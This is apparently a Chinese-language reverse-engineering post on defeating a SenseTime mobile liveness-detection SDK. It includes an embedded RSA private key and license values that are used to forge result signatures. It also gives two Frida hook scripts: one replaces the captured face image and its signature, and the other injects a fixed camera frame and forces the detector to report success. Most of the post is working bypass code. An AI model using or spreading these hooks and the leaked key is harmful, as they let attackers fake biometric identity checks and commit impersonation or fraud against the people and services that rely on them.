PRIVATE_KEY = '-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAvyGk2G9FRvwxt2phl7ty5FPzQ7F/VsWh9V9LLdkLwgEHpyUz\nr9NVA/Lv4tCsAGvA6sEbHIoKxowboUxjp2qGYg/e6AM6ckvNhT8kAJ9B9qpngKlm\nr3VmVBH1en+1tFw5NoZGdYSd42qB2zQtGSjV5APVBQU+UXJXw1yZ61Ur7li6Xee8\nWsHMac8WsNZiBspk7n/tVnicbV5gPZTxQaZnFiHiI/fQU+J7/PpxP+SD4vuJK0Yx\nLo6Orikmwi0xss/uu+bdraNoESWstnJ/KJ3sWjrGVEa953/eP+D/E32pyWSvvHdZ\nrmaNI2sjYEP3qqFRJrQqzi6BxGABAYdwQggPJQIDAQABAoIBAQCL+NybcKmgebMD\nKtI755gVZPGjYorqBiQ86UPKWMiGlHCBVPpMSo1ZLgHF7qH4UPFgOnlbZjDMBPF7\nJ9FXWuj9Sbgp26ti5ualLX91QSxys4rHK8g6uNRuvxQyWPK+GkgACUfyamOil25w\nFP7uDPzPVosbeSKRTRa+yMMkGCTrECWwjjDSc0mqnjUUgfdpIUJZIsEc2aDR81e1\n0PmcIwNaMF/D6WqGUe5ObM/635YGhqcxIMd1UYxmlMqdmuSicnxFPP1qLAX9SoCa\nE9CPo4OT/NCME3vqOK4d3JuA2X/7+x6M6EoaCSd7ntYN5QW+Kp2E9VBYRQ38u+2i\nRn7sWTfFAoGBAN/a/DZMrMkFKPp+AneOstO6KpZw/cJ0OWzsf+0Yi0HXbcaIj/Fp\nBkScInXK+Kh0SJkSQg6NjjagywP+gsUhECtYrUqz8dXy81zGhfg3rNeeRFBreMoj\nz7aQ2ZyHXibaCeo8KcgSqvgEKE3Xfeb903PpQO9v72ScI1DlJayH61brAoGBANqT\ntjQ+6G05LagTcsJxbon/CV4WrloXE8by1tuxFxguYMK/jtEGKBkk15XbxYy5lqdd\nsKw7aB8g1dv1zTMkkwugPOTGZ+zGwWZUw6Oy94SRNEWs9UYQA0xBWtpgRe6uq4H6\nthYW+IvMt6n9ZhVv6ni26hHAAl7FPZOkj4tVJs4vAoGBANKb+iywKOQb6bj6syF+\n7TqMbaMK/YRkyt5zB8yvCd3RbGOceij70bzdVQKUCyyZ8u+pIOMGRWWaFEdWvfvv\npoHRtYCSGhZbtKF12fd1kjVunwE2i/dKiBNQ5pwBNBDDlQ5+uiSVg6tCZhUOiFK6\nPqZQLxrWqllzGTrzzGUtn7ovAoGAVsjRTjswA7XxJ8vZA9UP46Cscnwk68Y/5v0i\nTAYrOkGnz4tJRDrijuEu6+Rfsnk5lOhBLpFDzSA3aWdV+xlpfPM5WkhgmQVtYpkD\nOKrlVfBlRcjfddsDxDIqxYv2GEen9yq5Q1oJg1BcGBVxg8901Esj8ro+9qvvwABV\nsie0CacCgYBlwvdn8SwxzqLo1evuDukgnC3+Y6554V7BIioZzNDYwVK2gAbOUZEc\n9zO34oOglq2vECaNhURqZv2NdSG1RESRnaBwIFhOLVacl5UJuxjrpzHXf98PF6/+\npNTVbdgQKjT2UfWSOCijzsrPI3Vq8aCM+afpoulNyt0NCBXefXB6EA==\n-----END RSA PRIVATE KEY-----'

def rsa_sign(content, _hash='SHA-256'):
pri_key = rsa.PrivateKey.load_pkcs1(PRIVATE_KEY.encode('utf-8'))
sign_result = rsa.sign(content, pri_key, _hash)
return base64.b64encode(sign_result)


def get_sign(timestamp, sha256_hex):
nonce = '74mnZhbQPZSw4GEEmKYKmaMpbtCDHa5ZineRMYY6wp8arM5ptPzaMz8NXBxJYfmf'
lic_sn = '194d2125-2dbd-322e-b5fe-678de67b6c1a'
sign_ver = '1'
sha256_data = binascii.unhexlify(sha256_hex)
postfix = '{sign_ver}{lic_sn}{nonce}{timestamp}'.format(nonce=nonce, lic_sn=lic_sn, sign_ver=sign_ver, timestamp=timestamp)
sign_data = sha256_data + postfix.encode()
sign_result = rsa_sign(sign_data, 'SHA-256')
sign_result = sign_result.decode()
s = 'timestamp={},sign_ver={},lic_sn={},nonce={},sign={}'.format(timestamp, sign_ver, lic_sn, nonce, sign_result)
base64_str = base64.b64encode(s.encode()).decode()
return base64_str


timestamp = int(time.time()*1000)
sha256_hex = '05a6c63d4d8ad275d5283beaeadba771eed998e5bddd95e87ac1c9317fd459c2'
sign_str = get_sign(timestamp, sha256_hex)
print(sign_str)

'''
dGltZXN0YW1wPTE2NjY2MjQ3MzI3Njcsc2lnbl92ZXI9MSxsaWNfc249MTk0ZDIxMjUtMmRiZC0zMjJlLWI1ZmUtNjc4ZGU2N2I2YzFhLG5vbmNlPTc0bW5aaGJRUFpTdzRHRUVtS1lLbWFNcGJ0Q0RIYTVaaW5lUk1ZWTZ3cDhhck01cHRQemFNejhOWEJ4SllmbWYsc2lnbj1wcDRscHlTZjdibWlFdGw2OGVhMnhWUHlLQWRXK0t2cjZaSkxHMy9Qc0tTUkdqSDhhMG1iTDhUUUtlK2htWERHaVN4MEFmRnJuNUhrUWVGdSt3cjVUTDlRUWZ1a0VaMDFuZkVmQjlpUEh5ZGNoZE9waXNtRWlJRFBsVEZ3akMrVyszVUxoNjV4VlRSa1pBQnc2eHhiNCsvVEJTUDlOR1NuMDErRUNHaG0yck1PTGVYekdDa3BJMEdNOU1ZZGk4SU96SEE1UmI5dTJXTmxGVHlSMm8yd1lNcTVkdHBWYTVzYnNlNkpqai90YW8wNllwNkZIRUhabXh4QjJFTHhxSlZmNExHWEkrRGFJWFZwRVFVOUYxeGxjaUpZZlkyeEJIZEsyNm5MN2RpcG02QUp3UHBQN05GV2hxVVM4U1BicGo1bjc2N3oxNlZtb2hlbEhBSFNteUFHNFE9PQ==
'''

活体检测绕过

方法1

com.sensetime.ssidmobile.sdk.liveness.interactive.model.InteractiveResult为检测的最终结果对象。其属性中包含图片文件(jpg)及图片签名。通过HOOK这个类的构造方法替换图片及图片的sign可以实现绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var InteractiveResult = Java.use('com.sensetime.ssidmobile.sdk.liveness.interactive.model.InteractiveResult')
InteractiveResult.$init.overload('[B', 'java.lang.String', '[B', 'java.lang.String', 'com.sensetime.ssidmobile.sdk.liveness.interactive.model.Location').implementation = function (arg1, arg2, arg3, arg4, arg5) {
console.log('InteractiveResult.$init.....')

var fp = Java_FileInputStream.$new('/storage/emulated/0/test.jpg')
var length = fp.available()
var byte_array = Java.array('byte', new Array(length).fill(0));
fp.read(byte_array, 0, byte_array.length)
fp.close()

var sign = 'dGltZXN0YW1wPTE2NjY1OTg0Njk0MTksc2lnbl92ZXI9MSxsaWNfc249MTk0ZDIxMjUtMmRiZC0zMjJlLWI1ZmUtNjc4ZGU2N2I2YzFhLG5vbmNlPTc0bW5aaGJRUFpTdzRHRUVtS1lLbWFNcGJ0Q0RIYTVaaW5lUk1ZWTZ3cDhhck01cHRQemFNejhOWEJ4SllmbWYsc2lnbj1Pdk5henZOL0JGL1pMdlB4NlprWXhlSnRUQ2JhSDZNV1AwSXE0cUZXY05YL1dUM0dhYTVFbHpJei9tRVVhSDUwVmlpK1JvTkZCTW5jWFRmK3hMdituYXJrazc0cVVhelFWbzB4R0F6bjNJT0lSZlJ3dUZQQ3JnME1sM0pNRWIrS2NwUTNpM3ZpZXI0VGt6MnZNU0IzSnZPV2V6alZHbk9IZGU1aG53OUhXOFFrclJLaFRiYmgvM2JkM3B1b2VTMUFTQnRNQlhuMjlDU3NwZytpTGgxUFpTbFpLaEkwZ3kzWmNYMXVQcUpuTlBRMFJGdG1aVUZMSm9vQ2VsNmVJcFBaR084OXh6cit5aXJmNEFMbW9Td3JFZ1ZoaHVUYVlQbUd3WE1kbkpqZjNTa2J1M0hWNlR3WVNwV2oyOUtEeUF1RHFvak9XZFk5dnhubENHQXk4WUwwZ1E9PQ=='

return this.$init(byte_array, sign, byte_array, sign, arg5)
}

方法2

有没有不需要计算sign的方法?

尝试一番后,发现是可以的。

大概流程是通过Hook onPreviewFrame函数,使其始终返回一帧图片,通过主体检测后,使其直接调用onSuccess结束检测。此时将上传固定帧的图片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var InteractiveDetector = Java.use('com.sensetime.ssidmobile.sdk.liveness.interactive.InteractiveDetector')

InteractiveDetector.onSuccess.implementation = function () {
console.log('InteractiveDetector.onSuccess...')
return this.onSuccess()

}

InteractiveDetector.doNextMotion.implementation = function (arg1) {
console.log('InteractiveDetector.doNextMotion...')
this.onSuccess()

}


var Java_FileInputStream = Java.use('java.io.FileInputStream')
var camera = Java.use('com.tendyron.liveness.motion.ui.camera.a$a')

camera.onPreviewFrame.overload('[B', 'android.hardware.Camera').implementation = function (arg1, arg2) {
var fp = Java_FileInputStream.$new('/storage/emulated/0/0000/renshan2.yuv')
fp.read(arg1, 0, arg1.length)
fp.close()
return this.onPreviewFrame(arg1, arg2)
}